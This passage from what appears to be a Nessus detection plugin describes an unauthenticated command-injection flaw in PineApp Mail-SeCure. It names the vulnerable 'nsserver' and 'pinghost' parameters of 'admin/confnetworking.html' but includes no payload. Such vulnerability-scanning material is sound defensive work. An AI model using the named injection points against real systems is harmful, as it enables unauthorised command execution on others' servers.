remote command injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of PineApp Mail-SeCure installed on the remote host is
affected by a remote command injection vulnerability because the
application fails to properly sanitize input to multiple parameters. 
This could allow a remote, unauthenticated attacker to execute arbitrary
commands on the remote host by sending a specially crafted URL that
appends arbitrary commands to the 'nsserver' or 'pinghost' parameters of
the 'admin/confnetworking.html' script. 

Note that this application is reportedly also affected by several
additional vulnerabilities including a directory traversal, a privilege
escalation, and an authentication bypass vulnerability; however, Nessus
has not tested for those.");
